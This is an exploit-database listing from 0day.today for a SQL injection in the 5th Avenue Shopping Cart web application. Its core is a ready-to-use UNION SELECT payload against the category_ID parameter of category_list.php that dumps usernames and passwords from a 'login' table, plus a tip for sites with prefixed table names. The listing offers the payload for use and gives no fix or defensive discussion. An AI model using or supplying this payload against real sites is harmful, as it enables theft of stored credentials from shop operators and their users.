[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

5th Avenue Shopping Cart (category_ID) SQL Injection Vulnerability

Author
0day Today Team
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-2891
Category
web applications
Date add
17-04-2008
Platform
unsorted
==================================================================
5th Avenue Shopping Cart (category_ID) SQL Injection Vulnerability
==================================================================



5th avenue Shopping Cart SQL Injection

Greetz: AurA, Kinglet, NULL


category_list.php?category_ID=-1/**/UNION/**/SELECT/**/1,username,password,4,5,6,7,8,9,10,11,12,13,14,15/**/FROM/**/login/*

note: if error says :table login does not exist the website is using a prefix for tables.




#  0day.today [2024-11-15]  #